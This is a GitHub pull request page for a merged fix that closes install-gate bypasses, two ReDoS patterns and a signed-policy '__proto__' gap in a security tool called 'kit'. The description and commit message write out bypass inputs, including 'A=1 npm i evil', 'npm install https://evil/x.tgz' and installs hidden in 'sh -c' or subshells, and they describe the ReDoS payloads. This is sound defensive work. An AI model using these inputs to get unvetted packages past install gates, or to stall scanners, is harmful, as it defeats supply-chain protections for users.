Skip to content

fix(security): close install-gate bypasses + two ReDoS + policy canonicalization gaps - #175

Merged
sandstream merged 1 commit into
mainfrom
claude/headroom-kit-integration-cmjw7t
Jun 30, 2026
Merged

sandstream merged 1 commit into
mainfrom
claude/headroom-kit-integration-cmjw7t

Conversation

@sandstream

Copy link
Copy Markdown
Owner

Description

A deep adversarial pass over kit's gate surface (install-gate, secret/CI regexes, policy + audit signing) surfaced concrete, attacker-reachable defects. This fixes every confirmed one, each with a regression test. Findings were verified empirically (timing/repro) before fixing.

Type of Change

  • Bug fix (non-breaking change that fixes an issue)
  • Performance improvement (ReDoS — removes catastrophic backtracking)

Related Issues

Changes Made

Install-gate — four bypasses that let an UNTRIAGED install through:

  • leading env-var assignment — A=1 npm i evil tokenized to t[0]="A=1" so no matcher fired → allowed. Now strips a leading run of wrapper bins (env/sudo/…) + VAR=value assignments.
  • package runners not matched — npm exec / pnpm dlx / yarn dlx / pnpm exec / bun x now gated like npx.
  • remote tarball treated as local — npm install https://evil/x.tgz was dropped on its .tgz extension. Any scheme:// target is now remote → fail-closed unverifiable.
  • install hidden in a subshell / -c arg — sh -c '…', $(…), backticks are now recursively scanned (bounded).

ReDoS (CPU DoS of the gate):

  • GCP "private_key" redaction had two unbounded runs around a literal; ~18 KB of near-miss -----END tokens hung ~17 s (reachable via scan-staged, kit memory scan, status redaction). Now a single bounded [^"]{1,8000} body run — linear, still matches real keys (~18 KB: 17 s → 2.3 ms).
  • globToRegExp compiled stacked **/**/ to adjacent .*/(?:.*/)? groups; the cluster map is matched on every UserPromptSubmit, so a pulled branch's clusters.json could hang each prompt. Wildcard runs now coalesce; over-long globs are refused (80 s → 0.02 ms).

Policy trust anchor — canonicalization soundness:

  • sortDeep's out[k]=… silently dropped a __proto__ key, so a [__proto__] table could be appended to a signed .kit-policy.toml without changing its signature/fingerprint. Now assigns via defineProperty; refuses a TOML date value (Date≡string collision); validatePolicy rejects __proto__/constructor/prototype; verifyPolicy treats an uncanonicalizable doc as invalid instead of crashing; versionGte guards a non-string. (No global prototype pollution existed — Node JSON.parse/smol-toml create an own property.)

Deferred to its own PR (touches a signed format): audit kid/sig are not bound into the chain hash or HMAC anchor, so a writer-only attacker can strip/re-attribute a sealed entry. Real (Medium), needs a format-versioned change + its own review.

Testing

Test Coverage

  • Added new tests (one regression per bypass + per ReDoS + canonicalization soundness)
  • Updated existing tests
  • All tests pass (npm test) — 1935 pass, 0 fail

Manual Testing

  1. Empirical repro/timing harness confirmed each bypass closed and each ReDoS payload now linear (GCP 17 s → 2.3 ms; glob 80 s → 0.02 ms) while real keys/legit commands still behave.
  2. kit check --category security verdict unchanged (no new fail).

🤖 Generated with Claude Code

https://claude.ai/code/session_015ERHw6bVUz39sAuoQZ1iyg


Generated by Claude Code

@github-actions

Copy link
Copy Markdown

✅ Docker image built successfully

  • CLI image: docker.io/sandstream/kit:test

…icalization gaps

A deep adversarial pass over kit's gate surface surfaced concrete,
attacker-reachable defects. This fixes all of them with a regression test each.

install-gate — four bypasses that let an UNTRIAGED install through:
  - leading env-var assignment (`A=1 npm i evil`) defeated every matcher
  - package runners not matched (`npm exec`, `pnpm dlx`, `yarn dlx`, `bun x`)
  - remote tarball URL (`npm install https://…/x.tgz`) dropped as "local"
  - install hidden in a subshell / `-c` arg (`sh -c '…'`, `$(…)`, backticks)
Parser now strips wrapper bins + `VAR=value`, matches the runners, treats any
`scheme://` target as remote (fail-closed `unverifiable`), and recursively
scans nested commands.

ReDoS (CPU DoS of the gate):
  - GCP `"private_key"` redaction had two unbounded runs around a literal;
    ~18 KB of near-miss `-----END ` tokens hung ~17 s. Now a single bounded
    `[^"]{1,8000}` body run (linear; still matches real keys). Reachable via
    scan-staged / `kit memory scan` / status redaction.
  - `globToRegExp` compiled stacked `**`/`**/` to adjacent `.*`/`(?:.*/)?`
    groups; the cluster map is matched on every UserPromptSubmit, so a pulled
    branch's clusters.json could hang each prompt. Wildcard runs now coalesce;
    over-long globs are refused.

Policy trust anchor — canonicalization soundness:
  - `sortDeep`'s `out[k]=…` silently dropped a `__proto__` key, so a
    `[__proto__]` table could be appended to a SIGNED policy without changing
    its signature ("signed bytes ≠ document"). Now assigns via defineProperty,
    refuses a TOML date value (Date≡string collision), validatePolicy rejects
    `__proto__`/`constructor`/`prototype`, verifyPolicy treats an
    uncanonicalizable doc as invalid (no crash), versionGte guards non-strings.

All 1935 tests pass; verdict unchanged on `kit check --category security`.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_015ERHw6bVUz39sAuoQZ1iyg
@sandstream
sandstream force-pushed the claude/headroom-kit-integration-cmjw7t branch from d5961b1 to c2d0c7f Compare June 30, 2026 10:46
@github-actions

Copy link
Copy Markdown

✅ Docker image built successfully

  • CLI image: docker.io/sandstream/kit:test

@sandstream
sandstream merged commit 4dff55d into main Jun 30, 2026
17 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants